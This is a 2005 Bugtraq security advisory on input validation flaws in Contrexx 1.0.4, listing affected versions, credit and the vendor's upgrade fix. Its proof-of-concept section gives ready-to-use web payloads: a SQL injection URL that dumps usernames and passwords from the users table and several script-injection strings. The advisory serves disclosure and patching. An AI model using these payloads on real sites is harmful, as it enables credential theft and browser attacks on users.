Contrexx Multiple Input Validation Vulnerabilities

BID:14352

Info

Contrexx Multiple Input Validation Vulnerabilities

Bugtraq ID: 14352
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jul 22 2005 12:00AM
Updated: Jul 22 2005 12:00AM
Credit: Discovery is credited to Christopher Kunz with Hardened PHP Project.
Vulnerable: Contrexx Contrexx 1.0.4
Not Vulnerable: Contrexx Contrexx 1.0.5

Discussion

Contrexx Multiple Input Validation Vulnerabilities

Contrexx is affected by multiple input validation vulnerabilities. These issues can allow an attacker to carry out HTML injection, SQL injection and information disclosure attacks.

Contrexx versions prior to 1.0.5 are affected.

Exploit / POC

Contrexx Multiple Input Validation Vulnerabilities

An exploit is not required.

The following proof of concept examples are available:

supply the 'votingoption' parameter as value="1 /*!50030%20s*/" and submit the form.

/index.php?section=gallery&cmd=showCat&cid=41&pId=1%20/**/UNION/**/%20/**/SELECT/**/%201,1,CONCAT(username,'-',password),1,1,1%20/**/FROM%20contrexx_access_users

/index.php?section=search&term=%22%3E%3Cscr\ipt%3Ealert(%22xss%22)%3C/sc\ript%3E

Create a blog entry with the title <script>alert('xss')</script>

Solution / Fix

Contrexx Multiple Input Validation Vulnerabilities

Solution:
The vendor has released upgrades to address these issues. Please contact the vendor to obtain the fixes.

References

Contrexx Multiple Input Validation Vulnerabilities

References:

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